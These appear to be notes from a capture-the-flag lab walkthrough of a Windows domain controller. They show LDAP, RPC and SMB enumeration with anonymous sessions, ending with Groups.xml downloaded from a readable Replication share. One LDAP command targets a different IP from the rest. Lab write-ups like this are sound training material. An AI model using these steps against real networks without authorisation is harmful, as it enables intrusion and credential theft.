LDAP
...

ldapsearch -H ldap://10.10.10.161 -x -b "DC=active,DC=htb" 

Pasted image 20240111182651.png

RPC
...

rpcclient -U '' 10.10.10.100 -N

Pasted image 20240111182904.png

SMB
...

enum4linux -a 10.10.10.100


 =================================( Share Enumeration on 10.10.10.100 )================================[17/133]
                                                                                                               
do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)                        
                                                                                                               
        Sharename       Type      Comment                                                                      
        ---------       ----      -------                                                                      
        ADMIN$          Disk      Remote Admin                                                                 
        C$              Disk      Default share                                                                
        IPC$            IPC       Remote IPC                                                                   
        NETLOGON        Disk      Logon server share                                                           
        Replication     Disk                                                                                   
        SYSVOL          Disk      Logon server share                                                           
        Users           Disk                                                                                   
Reconnecting with SMB1 for workgroup listing.                                                                  
Unable to connect with SMB1 -- no workgroup available                                                          
                                                                                                               
[+] Attempting to map shares on 10.10.10.100                                                                   
                                                                                                               
//10.10.10.100/ADMIN$   Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/C$       Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/IPC$     Mapping: OK Listing: DENIED Writing: N/A
//10.10.10.100/NETLOGON Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/Replication      Mapping: OK Listing: OK Writing: N/A
//10.10.10.100/SYSVOL   Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/Users    Mapping: DENIED Listing: N/A Writing: N/A

 ============================( Password Policy Information for 10.10.10.100 )============================

➜  Active smbclient -L \\\\10.10.10.100\\              
Password for [WORKGROUP\nakul]:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        Replication     Disk      
        SYSVOL          Disk      Logon server share 
        Users           Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
➜  Active smbclient //10.10.10.100/Replication -U ""%"" 
Try "help" to get a list of possible commands.
smb: \> 
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> dir
  .                                   D        0  Sat Jul 21 16:07:44 2018
  ..                                  D        0  Sat Jul 21 16:07:44 2018
  Groups.xml                          A      533  Thu Jul 19 02:16:06 2018

                5217023 blocks of size 4096. 309802 blocks available
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> mget Groups.xml 
Get file Groups.xml? y
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (0.5 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\>